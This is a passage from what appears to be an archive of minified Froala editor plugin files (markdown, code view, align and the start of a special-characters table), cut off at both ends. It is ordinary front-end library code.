r=e.nodeValue;return r=(r=r.replace(/ +/g," ")).replace(/\xa8NBSP;/g," "),r=(r=(r=(r=(r=(r=(r=(r=(r=y.helper.unescapeHTMLEntities(r)).replace(/([*_~|`])/g,"\\$1")).replace(/^(\s*)>/g,"\\$1>")).replace(/^#/gm,"\\#")).replace(/^(\s*)([-=]{3,})(\s*)$/,"$1\\$2$3")).replace(/^( {0,3}\d+)\./gm,"$1\\.")).replace(/^( {0,3})([+-])/gm,"$1\\$2")).replace(/]([\s]*)\(/g,"\\]$1\\(")).replace(/^ {0,3}\[([\S \t]*?)]:/gm,"\\[$1]:")}),e.PLUGINS.markdown=function(s){var i,l,a,t,n,c=s.$,o=!1,u="",d="",p="",h="",f=[],g=[],m="",_=null,b=null;function w(e){e=function h(e){var r=e,a=e.match(/(\[\^(.+?)\])[^:]/g),t=e.match(/(\[\^(.+?)\]:)/g);if(a&&t){a.forEach(function(e,r,a){a[r]=a[r].substring(0,a[r].length-1)}),a=a.filter(function(e,r){return a.indexOf(e)===r}),t=t.filter(function(e,r){return t.indexOf(e)===r});for(var n=1,o=0;o<a.length;o++){var s="";if(1==n&&(s='<hr class="footnote-sep"><ol>'),-1<t.indexOf(a[o]+":")){for(var i=-1<(r=(r=r.split(t[o]).join("{ftnt-plc}")).replace(t[o].substring(0,t[o].length-1),'<sup id="fnref:'.concat(n,'"><a href="#fn:').concat(n,'" class="footnote-a">').concat(n,"</a></sup>"))).indexOf(a[o])?1:0,l=0;i&&(l++,r=r.replace(t[o].substring(0,t[o].length-1),'<sup id="fnref:'.concat(n,":").concat(l,'"><a href="#fn:').concat(n,":").concat(l,'" class="footnote-a">').concat(n,":").concat(l,"</a></sup>")),i=-1<r.indexOf(a[o])?1:0););var c=(r=r.split("{ftnt-plc}").join(t[o])).indexOf(t[o]),u=r,d=u.substring(c,u.length-1);if(d=d.split("\n")[0],r=r.replace(d,""),-1<d.indexOf(": ")){d=d.split(": ")[1],d+='<a href="#fnref:'.concat(n,'" class="footnote-a">\u21a9</a>');for(var p=l;0!=l;)d+='<a href="#fnref:'.concat(n,":").concat(p-l+1,'" class="footnote-a">\u21a9</a>'),l--;d+="</p></li>",r=r+s+'<li id="fn:'.concat(n,'"><p>')+d,n++}}}1!=n&&(r+="</ol>")}return e=r}(e=function i(e){for(var r=/^[A-Za-z0-9]/g,a=/^:[ ]{1}(.+?)+/g,t=e.split("\n"),n=t,o=t.length-1,s=1;s<o;s++)null!==t[s].match(a)&&(null!==t[s-1].match(r)&&s<o-1&&null!==t[s+1].match(a)?(n[s-1]="<dl><dt>"+t[s-1]+"</dt>",n[s]="<dd>"+t[s].substring(2)+"</dd>"):null!==t[s-1].match(r)&&(s<o-1&&null===t[s+1].match(a)||s==o-1)?(n[s-1]="<dl><dt>"+t[s-1]+"</dt>",n[s]="<dd>"+t[s].substring(2)+"</dd></dl>"):s<o-1&&null!==t[s+1].match(a)?n[s]="<dd>"+t[s].substring(2)+"</dd>":n[s]="<dd>"+t[s].substring(2)+"</dd></dl>");return e=n.join("\n")}(e=function r(e){var t=e.indexOf("```"),n=0;-1<t&&(n=-1<(n=e.substring(t+1).indexOf("```"))?n+3:n);return e=e.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm,function(e,r,a){return t<a&&a<n?"---":"<hr />\n"})}(e=function a(e){return-1<(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.split("</p>").join("</p>\n")).split("</div>").join("\n")).replace(/(<([^>]+)>)/gi,"")).replace(/>/gi,">")).replace(/</gi,"<")).split(""").join('"')).split("&").join("&")).split("'").join("'")).split(" ").join(" ")).replace(/\|+\n[^\|]/g,function(e){return e.replace("\n","\n\n")})).indexOf("Powered by Froala Editor")&&(e=e.replace("Powered by Froala Editor","")),e}(e)))),e=t.makeHtml(e),e=s.clean.html(e),s.$wp.find(l)[0].innerHTML=e}return{_init:function r(){if(function e(){s.events.on("contentChanged",function(){o&&w(s.html.get(!1,!1))},!0),s.events.$on(c(s.o_win),"resize",function(){o&&(l[0].style.width=s.$wp[0].clientWidth-s.$el[0].clientWidth+2+"px")}),s.events.on("paste.afterCleanup",function(e){if(o){var r=s.doc.createElement("div");r.innerHTML=e;for(var a,t=r.querySelectorAll("img"),n=0;n<t.length;n++)(a=t[n]).outerHTML=a.outerHTML.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'");e=r.innerHTML}return e})}(),t=new y.Converter({strikethrough:!0,tables:!0,tablesHeaderId:!0,simpleLineBreaks:!0,ghCodeBlocks:!0,tasklists:!0,customizedHeaderId:!0,requireSpaceBeforeHeadingText:!0,underline:!0}),s.$tb&&(a=s.$tb.find('.fr-command[data-cmd="markdown"]')),!s.$wp)return!1},refresh:function k(e){var r=o;e.toggleClass("fr-active",r).attr("aria-pressed",r)},toggle:function v(){o?function e(){d=s.html.get(!0,!0),s.opts.pastePlain=!1,s.$el.removeClass("fr-markdown-editor"),s.$wp.append(n[0].firstChild),c(n).remove(),s.$wp.find(i).remove(),s.$wp.find(l).remove(),s.$wp[0].lastChild.after(s.$placeholder[0]),s.$el.removeAttr("style"),s.size.refresh(),s.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command").not(a).removeClass("fr-disabled").attr("aria-disabled",!1),s.opts.iframe&&(s.$el=b,s.$wp=_,Object.keys(g).map(function(e){s.$el[0].setAttribute(e,g[e]),"class"!=e&&m[0].removeAttribute(e)}),s.$el[0].style.removeProperty("padding")),s.html.set(u),s.opts.iframe&&(s.$el=b,s.$wp=_,s.$placeholder=null,s.placeholder.show(),s.placeholder.refresh())}():function r(){var o;u=s.html.get(!0,!0),s.html.set(d),s.opts.pastePlain=!0,s.opts.iframe?(s.$el[0].removeAttribute("spellcheck"),Array.from(s.$el[0].attributes).map(function(e){var r=e.name,a=e.value;return"class"!=r&&(f[r]=a),g[r]=a,s.$el[0].removeAttribute(r)}),s.$el[0].style.padding=0,s.$el[0].innerHTML="",s.$placeholder.hide()):s.$el.addClass("fr-markdown-editor"),n=c('<div class="fr-wrapper-markdown" />'),s.opts.heightMin?n.css("min-height","".concat(s.opts.heightMin,"px")):n.css("min-height","200px"),s.opts.heightMax?(n.css("maxHeight","".concat(s.opts.heightMax,"px")),n.css("overflow","auto")):(n.css("maxHeight",""),n.css("overflow","")),s.opts.height&&(n.css("height","".concat(s.opts.height,"px")),n.css("overflow","auto"),n.css("minHeight",s.opts.height-s.helpers.getPX(s.$el.css("padding-top"))-s.helpers.getPX(s.$el.css("padding-bottom")))),s.opts.iframe?(h=c('<div class="fr-box fr-basic fr-top"></div>'),p=c('<div class="fr-markdown-wrapper"></div>'),m=c('<div class="fr-element fr-markdown-editor"><p><br></p></div>'),Object.keys(f).map(function(e){return m[0].setAttribute(e,f[e])}),d&&(m[0].innerHTML=d),n[0].appendChild(m[0]),p[0].appendChild(n[0]),h[0].appendChild(p[0]),1==c(s.$html.find("body")[0]).find(".fr-box").length?(s.$el.prevAll().filter(function(e){return!["CodeMirror cm-s-default CodeMirror-wrap","fr-code"].includes(e.className)}).remove(),s.$el[0].appendChild(n[0])):(s.$el[0].appendChild(h[0]),_=s.$wp,s.$wp=p),b=s.$el,s.$el=m):(s.$wp.append(n),n[0].appendChild(s.$el[0])),i=c('<div class="gutter-horizontal"><div class="e-resize-handler"><i class="fa fa-circle-thin" aria-hidden="true"></i></div></div>'),c(n).append(i[0]),l=c('<div class="fr-element fr-markdown-view"></div>'),c(n).append(l[0]),c(n).after(s.$placeholder[0]),s.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").not(a).filter(function(){return"fullscreen"!==c(this).data("cmd")&&"moreMisc"!==c(this).data("cmd")}).addClass("fr-disabled").attr("aria-disabled",!0),c(i).on("mousedown touchstart",function(e){o={e:e,offsetLeft:i[0].offsetLeft,offsetTop:i[0].offsetTop,firstWidth:s.$el[0].offsetWidth,secondWidth:l[0].offsetWidth};var a=function a(e){s.selection.clear();var r={x:e.clientX-o.e.clientX,y:e.clientY-o.e.clientY};r.x=Math.min(Math.max(r.x,-o.firstWidth),o.secondWidth),o.firstWidth+r.x<125||o.secondWidth-r.x<125||(i[0].style.left=o.offsetLeft+r.x+"px",s.$el[0].style.width=o.firstWidth+r.x+"px",l[0].style.width=o.secondWidth-r.x+"px")},t=function t(e){s.selection.clear();var r={x:e.changedTouches[0].clientX-o.e.changedTouches[0].clientX,y:e.changedTouches[0].clientY-o.e.changedTouches[0].clientY};r.x=Math.min(Math.max(r.x,-o.firstWidth),o.secondWidth),o.firstWidth+r.x<100||o.secondWidth-r.x<100||(i[0].style.left=o.offsetLeft+r.x+"px",s.$el[0].style.width=o.firstWidth+r.x+"px",l[0].style.width=o.secondWidth-r.x+"px")},r=function r(){document.onmousemove=document.onmouseup=null,document.ontouchmove=document.ontouchend=null},n=function n(){s.$doc[0].onmousemove=s.$doc[0].onmouseup=null,s.$doc[0].ontouchmove=s.$doc[0].ontouchend=null};s.opts.iframe&&s.markdown.isEnabled?(s.$doc[0].onmousemove=a,s.$doc[0].ontouchmove=t,s.$doc[0].onmouseup=n,s.$doc[0].ontouchend=n):(document.onmousemove=a,document.ontouchmove=t,document.onmouseup=r,document.ontouchend=r)}),w(d)}(),o=!o},isEnabled:function e(){return o}}},e.DefineIcon("markdown",{NAME:"markdown",SVG_KEY:"markdown"}),e.RegisterCommand("markdown",{title:"Markdown",undo:!1,focus:!1,toggle:!0,forcedRefresh:!0,accessibilityFocus:!0,callback:function(){this.markdown.toggle()},refresh:function(e){this.markdown.refresh(e)},plugin:"markdown"})}); plugins/code_view.min.js 0000674 00000014662 00000000000 0011266 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";e=e&&e.hasOwnProperty("default")?e["default"]:e,Object.assign(e.DEFAULTS,{codeMirror:window.CodeMirror,codeMirrorOptions:{lineNumbers:!0,tabMode:"indent",indentWithTabs:!0,lineWrapping:!0,mode:"text/html",tabSize:2},codeBeautifierOptions:{end_with_newline:!0,indent_inner_html:!0,extra_liners:["p","h1","h2","h3","h4","h5","h6","blockquote","pre","ul","ol","table","dl"],brace_style:"expand",indent_char:"\t",indent_size:1,wrap_line_length:0},codeViewKeepActiveButtons:["fullscreen"]}),e.PLUGINS.codeView=function(c){var d,f,h=c.$,p=function p(){return c.$box.hasClass("fr-code-view")};function u(){return f?f.getValue():d.val()}function g(){p()&&(f&&f.setSize(null,c.opts.height?c.opts.height:"auto"),c.opts.heightMin||c.opts.height?(c.$box.find(".CodeMirror-scroll, .CodeMirror-gutters").css("min-height",c.opts.heightMin||c.opts.height),d.css("height",c.opts.height)):c.$box.find(".CodeMirror-scroll, .CodeMirror-gutters").css("min-height",""))}var m,b=!1;function v(){p()&&c.events.trigger("blur")}function w(){p()&&b&&c.events.trigger("focus")}function o(e){d||(!function l(){d=h('<textarea class="fr-code" tabIndex="-1">'),c.$wp.append(d),d.attr("dir",c.opts.direction),c.$box.hasClass("fr-basic")||(m=h('<a data-cmd="html" title="Code View" class="fr-command fr-btn html-switch'.concat(c.helpers.isMobile()?"":" fr-desktop",'" role="button" tabIndex="-1"><i class="fa fa-code"></i></button>')),c.$box.append(m),c.events.bindClick(c.$box,"a.html-switch",function(){c.events.trigger("commands.before",["html"]),M(!1),c.events.trigger("commands.after",["html"])}));var e=function e(){return!p()};c.events.on("buttons.refresh",e),c.events.on("copy",e,!0),c.events.on("cut",e,!0),c.events.on("paste",e,!0),c.events.on("destroy",x,!0),c.events.on("html.set",function(){p()&&M(!0)}),c.events.on("codeView.update",g),c.events.on("codeView.toggle",function(){c.$box.hasClass("fr-code-view")&&M()}),c.events.on("form.submit",function(){p()&&(c.html.set(u()),c.events.trigger("contentChanged",[],!0))},!0)}(),!f&&c.opts.codeMirror?((f=c.opts.codeMirror.fromTextArea(d.get(0),c.opts.codeMirrorOptions)).on("blur",v),f.on("focus",w)):(c.events.$on(d,"keydown keyup change input",function(){c.opts.height?this.removeAttribute("rows"):(this.rows=1,0===this.value.length?this.style.height="auto":this.style.height="".concat(this.scrollHeight,"px"))}),c.events.$on(d,"blur",v),c.events.$on(d,"focus",w))),c.undo.saveStep(),c.html.cleanEmptyTags(),c.html.cleanWhiteTags(!0),c.core.hasFocus()&&(c.core.isEmpty()||(c.selection.save(),c.$el.find('.fr-marker[data-type="true"]').first().replaceWith('<span class="fr-tmp fr-sm">F</span>'),c.$el.find('.fr-marker[data-type="false"]').last().replaceWith('<span class="fr-tmp fr-em">F</span>')));var t=c.html.get(!1,!0);c.$el.find("span.fr-tmp").remove(),c.$box.toggleClass("fr-code-view",!0);var r,o,n=!1;if(c.core.hasFocus()&&(n=!0,c.events.disableBlur(),c.$el.blur()),t=(t=t.replace(/<span class="fr-tmp fr-sm">F<\/span>/,"FROALA-SM")).replace(/<span class="fr-tmp fr-em">F<\/span>/,"FROALA-EM"),c.codeBeautifier&&!t.includes("fr-embedly")&&(t=c.codeBeautifier.run(t,c.opts.codeBeautifierOptions)),f){r=t.indexOf("FROALA-SM"),(o=t.indexOf("FROALA-EM"))<r?r=o:o-=9;var s=(t=t.replace(/FROALA-SM/g,"").replace(/FROALA-EM/g,"")).substring(0,r).length-t.substring(0,r).replace(/\n/g,"").length,i=t.substring(0,o).length-t.substring(0,o).replace(/\n/g,"").length;r=t.substring(0,r).length-t.substring(0,t.substring(0,r).lastIndexOf("\n")+1).length,o=t.substring(0,o).length-t.substring(0,t.substring(0,o).lastIndexOf("\n")+1).length,f.setSize(null,c.opts.height?c.opts.height:"auto"),c.opts.heightMin&&c.$box.find(".CodeMirror-scroll").css("min-height",c.opts.heightMin),f.setValue(t),b=!n,f.focus(),b=!0,f.setSelection({line:s,ch:r},{line:i,ch:o}),f.refresh(),f.clearHistory()}else{r=t.indexOf("FROALA-SM"),o=t.indexOf("FROALA-EM")-9,c.opts.heightMin&&d.css("min-height",c.opts.heightMin),c.opts.height&&d.css("height",c.opts.height),c.opts.heightMax&&d.css("max-height",c.opts.height||c.opts.heightMax),d.val(t.replace(/FROALA-SM/g,"").replace(/FROALA-EM/g,"")).trigger("change");var a=h(c.o_doc).scrollTop();b=!n,d.focus(),b=!0,d.get(0).setSelectionRange(r,o),h(c.o_doc).scrollTop(a)}c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").not(e).filter(function(){return c.opts.codeViewKeepActiveButtons.indexOf(h(this).data("cmd"))<0}).addClass("fr-disabled").attr("aria-disabled",!0),e.addClass("fr-active").attr("aria-pressed",!0),!c.helpers.isMobile()&&c.opts.toolbarInline&&c.toolbar.hide()}function M(e){void 0===e&&(e=!p());var t=c.$tb.find('.fr-command[data-cmd="html"]');e?(c.popups.hideAll(),o(t)):(c.$box.toggleClass("fr-code-view",!1),function r(e){var t=u();c.html.set(t),c.$el.blur(),c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").not(e).removeClass("fr-disabled").attr("aria-disabled",!1),e.removeClass("fr-active").attr("aria-pressed",!1),c.selection.setAtStart(c.el),c.selection.restore(),c.placeholder.refresh(),c.undo.saveStep()}(t),c.events.trigger("codeView.update"))}function x(){p()&&M(!1),f&&f.toTextArea(),d.val("").removeData().remove(),d=null,m&&(m.remove(),m=null)}return{_init:function e(){if(c.events.on("focus",function(){c.opts.toolbarContainer&&function t(){var e=c.$tb.find('.fr-command[data-cmd="html"]');p()?(c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command").not(e).filter(function(){return c.opts.codeViewKeepActiveButtons.indexOf(h(this).data("cmd"))<0}).addClass("fr-disabled").attr("aria-disabled",!1),e.addClass("fr-active").attr("aria-pressed",!1)):(c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command").not(e).removeClass("fr-disabled").attr("aria-disabled",!1),e.removeClass("fr-active").attr("aria-pressed",!1))}()}),!c.$wp)return!1},toggle:M,isActive:p,get:u}},e.RegisterCommand("html",{title:"Code View",undo:!1,focus:!1,forcedRefresh:!0,toggle:!0,callback:function(){this.codeView.toggle()},plugin:"codeView"}),e.DefineIcon("html",{NAME:"code",SVG_KEY:"codeView"})}); plugins/align.min.js 0000674 00000006646 00000000000 0010417 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(n,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(n.FroalaEditor)}(this,function(i){"use strict";(i=i&&i.hasOwnProperty("default")?i["default"]:i).PLUGINS.align=function(a){var l=a.$;return{apply:function r(n){var t=a.selection.element();if(l(t).parents(".fr-img-caption").length)l(t).css("text-align",n);else{a.selection.save(),a.html.wrap(!0,!0,!0,!0),a.selection.restore();for(var e=a.selection.blocks(),i=0;i<e.length;i++)l(e[i]).css("text-align",n).removeClass("fr-temp-div"),""===l(e[i]).attr("class")&&l(e[i]).removeAttr("class"),""===l(e[i]).attr("style")&&l(e[i]).removeAttr("style");a.selection.save(),a.html.unwrap(),a.selection.restore()}},refresh:function i(n){var t=a.selection.blocks();if(t.length){var e=a.helpers.getAlignment(l(t[0]));n.find("> *").first().replaceWith(a.icon.create("align-".concat(e)))}},refreshOnShow:function o(n,t){var e=a.selection.blocks();if(e.length){var i=a.helpers.getAlignment(l(e[0]));t.find('a.fr-command[data-param1="'.concat(i,'"]')).addClass("fr-active").attr("aria-selected",!0)}},refreshForToolbar:function s(n){var t=a.selection.blocks();if(t.length){var e=a.helpers.getAlignment(l(t[0]));e=e.charAt(0).toUpperCase()+e.slice(1),"align".concat(e)===n.attr("data-cmd")&&n.addClass("fr-active")}}}},i.DefineIcon("align",{NAME:"align-left",SVG_KEY:"alignLeft"}),i.DefineIcon("align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),i.DefineIcon("align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),i.DefineIcon("align-center",{NAME:"align-center",SVG_KEY:"alignCenter"}),i.DefineIcon("align-justify",{NAME:"align-justify",SVG_KEY:"alignJustify"}),i.RegisterCommand("align",{type:"dropdown",title:"Align",options:{left:"Align Left",center:"Align Center",right:"Align Right",justify:"Align Justify"},html:function(){var n='<ul class="fr-dropdown-list" role="presentation">',t=i.COMMANDS.align.options;for(var e in t)t.hasOwnProperty(e)&&(n+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="align"data-param1="\n '.concat(e,'" title="').concat(this.language.translate(t[e]),'">').concat(this.icon.create("align-".concat(e)),'<span class="fr-sr-only">\n ').concat(this.language.translate(t[e]),"</span></a></li>"));return n+="</ul>"},callback:function(n,t){this.align.apply(t)},refresh:function(n){this.align.refresh(n)},refreshOnShow:function(n,t){this.align.refreshOnShow(n,t)},plugin:"align"}),i.RegisterCommand("alignLeft",{type:"button",icon:"align-left",title:"Align Left",callback:function(){this.align.apply("left")},refresh:function(n){this.align.refreshForToolbar(n)},plugin:"align"}),i.RegisterCommand("alignRight",{type:"button",icon:"align-right",title:"Align Right",callback:function(){this.align.apply("right")},refresh:function(n){this.align.refreshForToolbar(n)},plugin:"align"}),i.RegisterCommand("alignCenter",{type:"button",icon:"align-center",title:"Align Center",callback:function(){this.align.apply("center")},refresh:function(n){this.align.refreshForToolbar(n)},plugin:"align"}),i.RegisterCommand("alignJustify",{type:"button",icon:"align-justify",title:"Align Justify",callback:function(){this.align.apply("justify")},refresh:function(n){this.align.refreshForToolbar(n)},plugin:"align"})}); plugins/special_characters.min.js 0000674 00000071121 00000000000 0013132 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(c,E){"object"==typeof exports&&"undefined"!=typeof module?E(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],E):E(c.FroalaEditor)}(this,function(H){"use strict";H=H&&H.hasOwnProperty("default")?H["default"]:H,Object.assign(H.DEFAULTS,{specialCharactersSets:[{title:"Latin","char":"¡",list:[{"char":"¡",desc:"INVERTED EXCLAMATION MARK"},{"char":"¢",desc:"CENT SIGN"},{"char":"£",desc:"POUND SIGN"},{"char":"¤",desc:"CURRENCY SIGN"},{"char":"¥",desc:"YEN SIGN"},{"char":"¦",desc:"BROKEN BAR"},{"char":"§",desc:"SECTION SIGN"},{"char":"¨",desc:"DIAERESIS"},{"char":"©",desc:"COPYRIGHT SIGN"},{"char":"™",desc:"TRADEMARK SIGN"},{"char":"ª",desc:"FEMININE ORDINAL INDICATOR"},{"char":"«",desc:"LEFT-POINTING DOUBLE ANGLE QUOTATION MARK"},{"char":"¬",desc:"NOT SIGN"},{"char":"®",desc:"REGISTERED SIGN"},{"char":"¯",desc:"MACRON"},{"char":"°",desc:"DEGREE SIGN"},{"char":"±",desc:"PLUS-MINUS SIGN"},{"char":"²",desc:"SUPERSCRIPT TWO"},{"char":"³",desc:"SUPERSCRIPT THREE"},{"char":"´",desc:"ACUTE ACCENT"},{"char":"µ",desc:"MICRO SIGN"},{"char":"¶",desc:"PILCROW SIGN"},{"char":"·",desc:"MIDDLE DOT"},{"char":"¸",desc:"CEDILLA"},{"char":"¹",desc:"SUPERSCRIPT ONE"},{"char":"º",desc:"MASCULINE ORDINAL INDICATOR"},{"char":"»",desc:"RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK"},{"char":"¼",desc:"VULGAR FRACTION ONE QUARTER"},{"char":"½",desc:"VULGAR FRACTION ONE HALF"},{"char":"¾",desc:"VULGAR FRACTION THREE QUARTERS"},{"char":"¿",desc:"INVERTED QUESTION MARK"},{"char":"À",desc:"LATIN CAPITAL LETTER A WITH GRAVE"},{"char":"Á",desc:"LATIN CAPITAL LETTER A WITH ACUTE"},{"char":"Â",desc:"LATIN CAPITAL LETTER A WITH CIRCUMFLEX"},{"char":"Ã",desc:"LATIN CAPITAL LETTER A WITH TILDE"},{"char":"Ä",desc:"LATIN CAPITAL LETTER A WITH DIAERESIS "},{"char":"Å",desc:"LATIN CAPITAL LETTER A WITH RING ABOVE"},{"char":"Æ",desc:"LATIN CAPITAL LETTER AE"},{"char":"Ç",desc:"LATIN CAPITAL LETTER C WITH CEDILLA"},{"char":"È",desc:"LATIN CAPITAL LETTER E WITH GRAVE"},{"char":"É",desc:"LATIN CAPITAL LETTER E WITH ACUTE"},{"char":"Ê",desc:"LATIN CAPITAL LETTER E WITH CIRCUMFLEX"},{"char":"Ë",desc:"LATIN CAPITAL LETTER E WITH DIAERESIS"},{"char":"Ì",desc:"LATIN CAPITAL LETTER I WITH GRAVE"},{"char":"Í",desc:"LATIN CAPITAL LETTER I WITH ACUTE"},{"char":"Î",desc:"LATIN CAPITAL LETTER I WITH CIRCUMFLEX"},{"char":"Ï",desc:"LATIN CAPITAL LETTER I WITH DIAERESIS"},{"char":"Ð",desc:"LATIN CAPITAL LETTER ETH"},{"char":"Ñ",desc:"LATIN CAPITAL LETTER N WITH TILDE"},{"char":"Ò",desc:"LATIN CAPITAL LETTER O WITH GRAVE"},{"char":"Ó",desc:"LATIN CAPITAL LETTER O WITH ACUTE"},{"char":"Ô",desc:"LATIN CAPITAL LETTER O WITH CIRCUMFLEX"},{"char":"Õ",desc:"LATIN CAPITAL LETTER O WITH TILDE"},{"char":"Ö",desc:"LATIN CAPITAL LETTER O WITH DIAERESIS"},{"char":"×",desc:"MULTIPLICATION SIGN"},{"char":"Ø",desc:"LATIN CAPITAL LETTER O WITH STROKE"},{"char":"Ù",desc:"LATIN CAPITAL LETTER U WITH GRAVE"},{"char":"Ú",desc:"LATIN CAPITAL LETTER U WITH ACUTE"},{"char":"Û",desc:"LATIN CAPITAL LETTER U WITH CIRCUMFLEX"},{"char":"Ü",desc:"LATIN CAPITAL LETTER U WITH DIAERESIS"},{"char":"Ý",desc:"LATIN CAPITAL LETTER Y WITH ACUTE"},{"char":"Þ",desc:"LATIN CAPITAL LETTER THORN"},{"char":"ß",desc:"LATIN SMALL LETTER SHARP S"},{"char":"à",desc:"LATIN SMALL LETTER A WITH GRAVE"},{"char":"á",desc:"LATIN SMALL LETTER A WITH ACUTE "},{"char":"â",desc:"LATIN SMALL LETTER A WITH CIRCUMFLEX"},{"char":"ã",desc:"LATIN SMALL LETTER A WITH TILDE"},{"char":"ä",desc:"LATIN SMALL LETTER A WITH DIAERESIS"},{"char":"å",desc:"LATIN SMALL LETTER A WITH RING ABOVE"},{"char":"æ",desc:"LATIN SMALL LETTER AE"},{"char":"ç",desc:"LATIN SMALL LETTER C WITH CEDILLA"},{"char":"è",desc:"LATIN SMALL LETTER E WITH GRAVE"},{"char":"é",desc:"LATIN SMALL LETTER E WITH ACUTE"},{"char":"ê",desc:"LATIN SMALL LETTER E WITH CIRCUMFLEX"},{"char":"ë",desc:"LATIN SMALL LETTER E WITH DIAERESIS"},{"char":"ì",desc:"LATIN SMALL LETTER I WITH GRAVE"},{"char":"í",desc:"LATIN SMALL LETTER I WITH ACUTE"},{"char":"î",desc:"LATIN SMALL LETTER I WITH CIRCUMFLEX"},{"char":"ï",desc:"LATIN SMALL LETTER I WITH DIAERESIS"},{"char":"ð",desc:"LATIN SMALL LETTER ETH"},{"char":"ñ",desc:"LATIN SMALL LETTER N WITH TILDE"},{"char":"ò",desc:"LATIN SMALL LETTER O WITH GRAVE"},{"char":"ó",desc:"LATIN SMALL LETTER O WITH ACUTE"},{"char":"ô",desc:"LATIN SMALL LETTER O WITH CIRCUMFLEX"},{"char":"õ",desc:"LATIN SMALL LETTER O WITH TILDE"},{"char":"ö",desc:"LATIN SMALL LETTER O WITH DIAERESIS"},{"char":"÷",desc:"DIVISION SIGN"},{"char":"ø",desc:"LATIN SMALL LETTER O WITH STROKE"},{"char":"ù",desc:"LATIN SMALL LETTER U WITH GRAVE"},{"char":"ú",desc:"LATIN SMALL LETTER U WITH ACUTE"},{"char":"û",desc:"LATIN SMALL LETTER U WITH CIRCUMFLEX"},{"char":"ü",desc:"LATIN SMALL LETTER U WITH DIAERESIS"},{"char":"ý",desc:"LATIN SMALL LETTER Y WITH ACUTE"},{"char":"þ",desc:"LATIN SMALL LETTER THORN"},{"char":"ÿ",desc:"LATIN SMALL LETTER Y WITH DIAERESIS"}]},{title:"Greek","char":"Α",list:[{"char":"Α",desc:"GREEK CAPITAL LETTER ALPHA"},{"char":"Β",desc:"GREEK CAPITAL LETTER BETA"},{"char":"Γ",desc:"GREEK CAPITAL LETTER GAMMA"},{"char":"Δ",desc:"GREEK CAPITAL LETTER DELTA"},{"char":"Ε",desc:"GREEK CAPITAL LETTER EPSILON"},{"char":"Ζ",desc:"GREEK CAPITAL LETTER ZETA"},{"char":"Η",desc:"GREEK CAPITAL LETTER ETA"},{"char":"Θ",desc:"GREEK CAPITAL LETTER THETA"},{"char":"Ι",desc:"GREEK CAPITAL LETTER IOTA"},{"char":"Κ",desc:"GREEK CAPITAL LETTER KAPPA"},{"char":"Λ",desc:"GREEK CAPITAL LETTER LAMBDA"},{"char":"Μ",desc:"GREEK CAPITAL LETTER MU"},{"char":"Ν",desc:"GREEK CAPITAL LETTER NU"},{"char":"Ξ",desc:"GREEK CAPITAL LETTER XI"},{"char":"Ο",desc:"GREEK CAPITAL LETTER OMICRON"},{"char":"Π",desc:"GREEK CAPITAL LETTER PI"},{"char":"Ρ",desc:"GREEK CAPITAL LETTER RHO"},{"char":"Σ",desc:"GREEK CAPITAL LETTER SIGMA"},{"char":"Τ",desc:"GREEK CAPITAL LETTER TAU"},{"char":"Υ",desc:"GREEK CAPITAL LETTER UPSILON"},{"char":"Φ",desc:"GREEK CAPITAL LETTER PHI"},{"char":"Χ",desc:"GREEK CAPITAL LETTER CHI"},{"char":"Ψ",desc:"GREEK CAPITAL LETTER PSI"},{"char":"Ω",desc:"GREEK CAPITAL LETTER OMEGA"},{"char":"α",desc:"GREEK SMALL LETTER ALPHA"},{"char":"β",desc:"GREEK SMALL LETTER BETA"},{"char":"γ",desc:"GREEK SMALL LETTER GAMMA"},{"char":"δ",desc:"GREEK SMALL LETTER DELTA"},{"char":"ε",desc:"GREEK SMALL LETTER EPSILON"},{"char":"ζ",desc:"GREEK SMALL LETTER ZETA"},{"char":"η",desc:"GREEK SMALL LETTER ETA"},{"char":"θ",desc:"GREEK SMALL LETTER THETA"},{"char":"ι",desc:"GREEK SMALL LETTER IOTA"},{"char":"κ",desc:"GREEK SMALL LETTER KAPPA"},{"char":"λ",desc:"GREEK SMALL LETTER LAMBDA"},{"char":"μ",desc:"GREEK SMALL LETTER MU"},{"char":"ν",desc:"GREEK SMALL LETTER NU"},{"char":"ξ",desc:"GREEK SMALL LETTER XI"},{"char":"ο",desc:"GREEK SMALL LETTER OMICRON"},{"char":"π",desc:"GREEK SMALL LETTER PI"},{"char":"ρ",desc:"GREEK SMALL LETTER RHO"},{"char":"ς",desc:"GREEK SMALL LETTER FINAL SIGMA"},{"char":"σ",desc:"GREEK SMALL LETTER SIGMA"},{"char":"τ",desc:"GREEK SMALL LETTER TAU"},{"char":"υ",desc:"GREEK SMALL 